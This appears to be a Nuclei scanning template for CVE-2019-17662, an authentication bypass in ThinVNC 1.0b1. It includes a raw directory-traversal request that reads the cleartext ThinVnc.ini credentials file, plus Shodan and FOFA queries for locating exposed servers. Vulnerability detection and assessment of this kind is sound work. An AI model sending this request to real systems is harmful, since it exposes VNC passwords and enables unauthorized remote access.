ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
PoC代码[已公开]
id: CVE-2019-17662
info:
name: ThinVNC 1.0b1 - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
impact: |
An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.
remediation: |
Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.
reference:
- http://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html
- https://github.com/bewest/thinvnc/issues/5
- https://redteamzone.com/ThinVNC/
- https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py
- https://github.com/YIXINSHUWU/Penetration_Testing_POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-17662
cwe-id: CWE-22
epss-score: 0.93379
epss-percentile: 0.99811
cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: cybelsoft
product: thinvnc
shodan-query: http.favicon.hash:-1414548363
fofa-query: icon_hash=-1414548363
tags: cve,cve2019,packetstorm,auth-bypass,thinvnc,intrusive,cybelsoft
http:
- raw:
- |
GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "User="
- "Password="
condition: and
- type: word
part: header
words:
- "application/binary"
- type: status
status:
- 200
# digest: 490a0046304402204ab7639d992876bbedaae6922e16a7aaf81801e01b490dfc35822ac4dee9da1302205531794e8d7efa0c7e32b2d4574cea7f77db2612a85c280eccb6dd93c2448e4b:922c64590222798bb761d5b6d8e72950